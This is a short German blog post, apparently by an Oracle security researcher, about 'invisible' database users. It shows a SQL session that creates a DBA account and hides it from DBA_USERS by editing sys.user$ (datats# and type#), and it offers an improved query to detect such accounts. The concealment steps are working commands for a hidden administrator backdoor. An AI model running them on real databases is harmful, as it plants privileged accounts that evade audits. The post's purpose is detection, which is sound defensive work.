Auf der Deepsec-Konferenz gab David Litchfield eine Präsentation zum Thema „In-Memory Rootkits„. Beiläufig erwähnte er auch die Möglichkeit, unsichtbare Benutzer durch Modifikation der Tablespacenummer zu erzeugen („update sys.user$ set datats#=31337 where user#=76„).Um diese unsichtbaren Benutzer zu finden, riet David, das folgende Statement zu verwenden („SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS„).
————- Tests auf 10.2.0.3 mit Oct 2007 CPU ——————–
— Benutzer U1 mit DBA Rechten erzeugen
SQL> create user u1 identified by u1;
SQL> grant dba to u1;
—
SQL> select user#, name, datats# from sys.user$;
0 SYS 0
1 PUBLIC 0
76 U1 5
…
— datats# auf einen nicht existierenden Wert setzen
SQL> update sys.user$ set datats#=31337 where user#=76;
1 row updated.
SQL> commit;
Commit complete.
— Vergleich sys.user$ mit dba_users
— Wie eine Suche mit Google zeigt, wird dies von vielen verwendet, um unsichtbare Benutzer zu verwenden
SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;
U1
— Aber funktioniert dies immer?
— Warum nur eine Spalte updaten?
— Wir ändern einfach den type# auf 2 (Neustart der Datenbank ist notwendig)
—
SQL> update sys.user$ set type#=2 where user#=76;
1 row updated.
SQL> commit;
Commit complete.
— Wenn wir das vorgeschlagene Statement laufen lassen,
— wird unser User nicht angezeigt. Diesen Fehler haben
— aber alle gemacht (David, Pete, Alex, …)
SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;
no rows selected
————-
— Zum Testen ist es notwendig, die Datenbank zu starten, da ohne Neustart der Datenbank auch type#<0 funktioniert
SQL> conn u1/u1
— Deshalb sollte folgendes Statement verwendet werden
SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# !=0 MINUS SELECT USERNAME FROM SYS.DBA_USERS;
U1
—
Frohe Weihnachten.